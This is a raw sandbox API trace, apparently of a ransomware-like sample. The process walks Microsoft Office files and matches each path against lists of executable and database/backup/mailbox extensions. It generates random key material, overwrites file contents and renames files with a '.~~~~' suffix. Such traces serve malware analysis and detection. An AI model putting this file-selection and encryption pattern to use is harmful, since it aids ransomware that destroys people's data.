	[0142.600] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR26F.GIF", lpSrch=".DACPAC") returned 0x0
	[0142.600] lstrlenW (lpString=".VHD") returned 4
	[0142.600] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR26F.GIF", lpSrch=".VHD") returned 0x0
	[0142.600] lstrlenW (lpString=".DBV") returned 4
	[0142.600] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR26F.GIF", lpSrch=".DBV") returned 0x0
	[0142.600] lstrlenW (lpString=".dacpac") returned 7
	[0142.600] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR26F.GIF", lpSrch=".dacpac") returned 0x0
	[0142.600] lstrlenW (lpString=".sdf") returned 4
	[0142.600] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR26F.GIF", lpSrch=".sdf") returned 0x0
	[0142.600] lstrlenW (lpString=".accdb") returned 6
	[0142.600] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR26F.GIF", lpSrch=".accdb") returned 0x0
	[0142.600] lstrlenW (lpString=".DBX") returned 4
	[0142.600] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR26F.GIF", lpSrch=".DBX") returned 0x0
	[0142.600] lstrlenW (lpString=".MDT") returned 4
	[0142.600] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR26F.GIF", lpSrch=".MDT") returned 0x0
	[0142.600] lstrlenW (lpString=".SQB") returned 4
	[0142.600] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR26F.GIF", lpSrch=".SQB") returned 0x0
	[0142.600] lstrlenW (lpString=".vhd") returned 4
	[0142.600] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR26F.GIF", lpSrch=".vhd") returned 0x0
	[0142.601] lstrlenW (lpString=".bac") returned 4
	[0142.601] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR26F.GIF", lpSrch=".bac") returned 0x0
	[0142.601] lstrlenW (lpString=".mdf") returned 4
	[0142.601] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR26F.GIF", lpSrch=".mdf") returned 0x0
	[0142.601] lstrlenW (lpString=".BAK") returned 4
	[0142.601] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR26F.GIF", lpSrch=".BAK") returned 0x0
	[0142.601] lstrlenW (lpString=".BAC") returned 4
	[0142.601] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR26F.GIF", lpSrch=".BAC") returned 0x0
	[0142.601] lstrlenW (lpString=".dbs") returned 4
	[0142.601] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR26F.GIF", lpSrch=".dbs") returned 0x0
	[0142.601] lstrlenW (lpString=".vhdx") returned 5
	[0142.601] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR26F.GIF", lpSrch=".vhdx") returned 0x0
	[0142.601] lstrlenW (lpString=".NDF") returned 4
	[0142.601] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR26F.GIF", lpSrch=".NDF") returned 0x0
	[0142.601] lstrlenW (lpString=".dat") returned 4
	[0142.601] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR26F.GIF", lpSrch=".dat") returned 0x0
	[0142.601] lstrlenW (lpString=".DBS") returned 4
	[0142.601] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR26F.GIF", lpSrch=".DBS") returned 0x0
	[0142.601] lstrlenW (lpString=".CKP") returned 4
	[0142.601] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR26F.GIF", lpSrch=".CKP") returned 0x0
	[0142.601] lstrlenW (lpString=".edb") returned 4
	[0142.601] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR26F.GIF", lpSrch=".edb") returned 0x0
	[0142.601] lstrlenW (lpString=".PST") returned 4
	[0142.601] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR26F.GIF", lpSrch=".PST") returned 0x0
	[0142.602] lstrlenW (lpString=".dbf") returned 4
	[0142.602] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR26F.GIF", lpSrch=".dbf") returned 0x0
	[0142.602] lstrlenW (lpString=".SQL") returned 4
	[0142.602] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR26F.GIF", lpSrch=".SQL") returned 0x0
	[0142.602] lstrlenW (lpString=".pst") returned 4
	[0142.602] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR26F.GIF", lpSrch=".pst") returned 0x0
	[0142.602] lstrlenW (lpString=".dbv") returned 4
	[0142.602] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR26F.GIF", lpSrch=".dbv") returned 0x0
	[0142.602] lstrlenW (lpString=".SDF") returned 4
	[0142.602] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR26F.GIF", lpSrch=".SDF") returned 0x0
	[0142.602] lstrlenW (lpString=".dtxs") returned 5
	[0142.602] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR26F.GIF", lpSrch=".dtxs") returned 0x0
	[0142.602] lstrlenW (lpString=".db3") returned 4
	[0142.602] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR26F.GIF", lpSrch=".db3") returned 0x0
	[0142.602] lstrlenW (lpString=".OST") returned 4
	[0142.602] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR26F.GIF", lpSrch=".OST") returned 0x0
	[0142.602] lstrlenW (lpString=".dbx") returned 4
	[0142.602] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR26F.GIF", lpSrch=".dbx") returned 0x0
	[0142.602] lstrlenW (lpString=".DB3") returned 4
	[0142.602] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR26F.GIF", lpSrch=".DB3") returned 0x0
	[0142.602] lstrlenW (lpString=".DAT") returned 4
	[0142.602] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR26F.GIF", lpSrch=".DAT") returned 0x0
	[0142.602] lstrlenW (lpString=".VHDX") returned 5
	[0142.602] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR26F.GIF", lpSrch=".VHDX") returned 0x0
	[0142.603] lstrlenW (lpString=".ndf") returned 4
	[0142.603] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR26F.GIF", lpSrch=".ndf") returned 0x0
	[0142.603] lstrlenW (lpString=".DB") returned 3
	[0142.603] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR26F.GIF", lpSrch=".DB") returned 0x0
	[0142.603] lstrlenW (lpString=".sql") returned 4
	[0142.603] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR26F.GIF", lpSrch=".sql") returned 0x0
	[0142.603] lstrlenW (lpString=".MYD") returned 4
	[0142.603] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR26F.GIF", lpSrch=".MYD") returned 0x0
	[0142.603] lstrlenW (lpString=".DBT") returned 4
	[0142.603] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR26F.GIF", lpSrch=".DBT") returned 0x0
	[0142.603] lstrlenW (lpString=".ACCDB") returned 6
	[0142.603] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR26F.GIF", lpSrch=".ACCDB") returned 0x0
	[0142.603] lstrlenW (lpString=".fdb") returned 4
	[0142.603] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR26F.GIF", lpSrch=".fdb") returned 0x0
	[0142.603] lstrlenW (lpString=".bak") returned 4
	[0142.603] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR26F.GIF", lpSrch=".bak") returned 0x0
	[0142.603] lstrlenW (lpString=".myd") returned 4
	[0142.603] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR26F.GIF", lpSrch=".myd") returned 0x0
	[0142.603] lstrlenW (lpString=".DTXS") returned 5
	[0142.603] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR26F.GIF", lpSrch=".DTXS") returned 0x0
	[0142.603] lstrlenW (lpString=".ckp") returned 4
	[0142.604] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR26F.GIF", lpSrch=".ckp") returned 0x0
	[0142.604] lstrlenW (lpString=".dbt") returned 4
	[0142.604] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR26F.GIF", lpSrch=".dbt") returned 0x0
	[0142.604] lstrlenW (lpString=".db") returned 3
	[0142.604] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR26F.GIF", lpSrch=".db") returned 0x0
	[0142.604] lstrlenW (lpString=".TXT") returned 4
	[0142.604] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR26F.GIF", lpSrch=".TXT") returned 0x0
	[0142.604] lstrlenW (lpString=".MDF") returned 4
	[0142.604] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR26F.GIF", lpSrch=".MDF") returned 0x0
	[0142.604] lstrlenW (lpString=".bdb") returned 4
	[0142.604] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR26F.GIF", lpSrch=".bdb") returned 0x0
	[0142.604] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0142.604] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR26F.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0142.604] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906550
	[0142.604] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630f8
	[0142.604] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x394b08) returned 1
	[0142.605] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630f8 | out: pbBuffer=0x3630f8) returned 1
	[0142.606] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0142.606] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630f8 | out: hHeap=0x300000) returned 1
	[0142.606] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0142.606] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0142.606] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=26259602702) returned 1
	[0142.606] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xbe66d3d0, dwHighDateTime=0x1d60e1e)) 
	[0142.606] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0142.606] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0142.606] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0142.606] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fa9a8
	[0142.606] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0142.606] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fa9a8 | out: hHeap=0x300000) returned 1
	[0142.606] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0142.607] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0142.607] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a9b40
	[0142.607] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0142.607] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0c98
	[0142.607] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a9b40 | out: hHeap=0x300000) returned 1
	[0142.607] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0142.607] GetLastError () returned 0x0
	[0142.608] GetLastError () returned 0x0
	[0142.608] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0142.608] GetLastError () returned 0x0
	[0142.716] GetLastError () returned 0x0
	[0142.735] ReadFile (in: hFile=0xc4, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x24dfec0*=0x2072, lpOverlapped=0x0) returned 1
	[0142.738] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffffdf8e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0142.738] WriteFile (in: hFile=0xc4, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x2072, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x24dfec0*=0x2072, lpOverlapped=0x0) returned 1
	[0142.738] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a6b0c0 | out: hHeap=0x300000) returned 1
	[0142.738] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0142.738] WriteFile (in: hFile=0xc4, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0142.738] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0142.738] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0142.738] CloseHandle (hObject=0xc4) returned 1
	[0142.738] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28aa320
	[0142.739] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR26F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir26f.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR26F.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir26f.gif.~~~~")) returned 1
	[0142.741] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28aa320 | out: hHeap=0x300000) returned 1
	[0142.741] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0142.741] GetLastError () returned 0x0
	[0142.741] RtlWakeConditionVariable () returned 0x0
	[0142.741] GetCurrentThreadId () returned 0x3a4
	[0142.742] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR31F.GIF", lpSrch=".scr") returned 0x0
	[0142.742] lstrlenW (lpString=".cmd") returned 4
	[0142.742] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR31F.GIF", lpSrch=".cmd") returned 0x0
	[0142.742] lstrlenW (lpString=".dll") returned 4
	[0142.742] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR31F.GIF", lpSrch=".dll") returned 0x0
	[0142.742] lstrlenW (lpString=".bat") returned 4
	[0142.742] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR31F.GIF", lpSrch=".bat") returned 0x0
	[0142.742] lstrlenW (lpString=".cpl") returned 4
	[0142.742] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR31F.GIF", lpSrch=".cpl") returned 0x0
	[0142.742] lstrlenW (lpString=".sys") returned 4
	[0142.742] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR31F.GIF", lpSrch=".sys") returned 0x0
	[0142.742] lstrlenW (lpString=".msc") returned 4
	[0142.742] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR31F.GIF", lpSrch=".msc") returned 0x0
	[0142.742] lstrlenW (lpString=".com") returned 4
	[0142.742] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR31F.GIF", lpSrch=".com") returned 0x0
	[0142.742] lstrlenW (lpString=".lnk") returned 4
	[0142.742] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR31F.GIF", lpSrch=".lnk") returned 0x0
	[0142.742] lstrlenW (lpString=".msp") returned 4
	[0142.742] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR31F.GIF", lpSrch=".msp") returned 0x0
	[0142.742] lstrlenW (lpString=".pif") returned 4
	[0142.742] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR31F.GIF", lpSrch=".pif") returned 0x0
	[0142.742] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0142.742] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR31F.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0142.742] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR31F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir31f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0142.745] lstrlenW (lpString=".sqb") returned 4
	[0142.745] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR31F.GIF", lpSrch=".sqb") returned 0x0
	[0142.745] lstrlenW (lpString=".ost") returned 4
	[0142.745] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR31F.GIF", lpSrch=".ost") returned 0x0
	[0142.745] lstrlenW (lpString=".txt") returned 4
	[0142.745] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR31F.GIF", lpSrch=".txt") returned 0x0
	[0142.745] lstrlenW (lpString=".mdt") returned 4
	[0142.745] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR31F.GIF", lpSrch=".mdt") returned 0x0
	[0142.745] lstrlenW (lpString=".BDB") returned 4
	[0142.745] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR31F.GIF", lpSrch=".BDB") returned 0x0
	[0142.745] lstrlenW (lpString=".eql") returned 4
	[0142.745] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR31F.GIF", lpSrch=".eql") returned 0x0
	[0142.745] lstrlenW (lpString=".DBF") returned 4
	[0142.745] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR31F.GIF", lpSrch=".DBF") returned 0x0
	[0142.745] lstrlenW (lpString=".EQL") returned 4
	[0142.745] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR31F.GIF", lpSrch=".EQL") returned 0x0
	[0142.745] lstrlenW (lpString=".FDB") returned 4
	[0142.745] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR31F.GIF", lpSrch=".FDB") returned 0x0
	[0142.745] lstrlenW (lpString=".EDB") returned 4
	[0142.745] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR31F.GIF", lpSrch=".EDB") returned 0x0
	[0142.745] lstrlenW (lpString=".DACPAC") returned 7
	[0142.745] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR31F.GIF", lpSrch=".DACPAC") returned 0x0
	[0142.745] lstrlenW (lpString=".VHD") returned 4
	[0142.745] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR31F.GIF", lpSrch=".VHD") returned 0x0
	[0142.746] lstrlenW (lpString=".DBV") returned 4
	[0142.746] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR31F.GIF", lpSrch=".DBV") returned 0x0
	[0142.746] lstrlenW (lpString=".dacpac") returned 7
	[0142.746] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR31F.GIF", lpSrch=".dacpac") returned 0x0
	[0142.746] lstrlenW (lpString=".sdf") returned 4
	[0142.746] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR31F.GIF", lpSrch=".sdf") returned 0x0
	[0142.746] lstrlenW (lpString=".accdb") returned 6
	[0142.746] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR31F.GIF", lpSrch=".accdb") returned 0x0
	[0142.746] lstrlenW (lpString=".DBX") returned 4
	[0142.746] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR31F.GIF", lpSrch=".DBX") returned 0x0
	[0142.746] lstrlenW (lpString=".MDT") returned 4
	[0142.746] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR31F.GIF", lpSrch=".MDT") returned 0x0
	[0142.746] lstrlenW (lpString=".SQB") returned 4
	[0142.746] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR31F.GIF", lpSrch=".SQB") returned 0x0
	[0142.746] lstrlenW (lpString=".vhd") returned 4
	[0142.746] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR31F.GIF", lpSrch=".vhd") returned 0x0
	[0142.746] lstrlenW (lpString=".bac") returned 4
	[0142.746] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR31F.GIF", lpSrch=".bac") returned 0x0
	[0142.746] lstrlenW (lpString=".mdf") returned 4
	[0142.746] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR31F.GIF", lpSrch=".mdf") returned 0x0
	[0142.746] lstrlenW (lpString=".BAK") returned 4
	[0142.746] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR31F.GIF", lpSrch=".BAK") returned 0x0
	[0142.746] lstrlenW (lpString=".BAC") returned 4
	[0142.746] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR31F.GIF", lpSrch=".BAC") returned 0x0
	[0142.746] lstrlenW (lpString=".dbs") returned 4
	[0142.746] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR31F.GIF", lpSrch=".dbs") returned 0x0
	[0142.747] lstrlenW (lpString=".vhdx") returned 5
	[0142.747] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR31F.GIF", lpSrch=".vhdx") returned 0x0
	[0142.747] lstrlenW (lpString=".NDF") returned 4
	[0142.747] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR31F.GIF", lpSrch=".NDF") returned 0x0
	[0142.747] lstrlenW (lpString=".dat") returned 4
	[0142.747] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR31F.GIF", lpSrch=".dat") returned 0x0
	[0142.747] lstrlenW (lpString=".DBS") returned 4
	[0142.747] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR31F.GIF", lpSrch=".DBS") returned 0x0
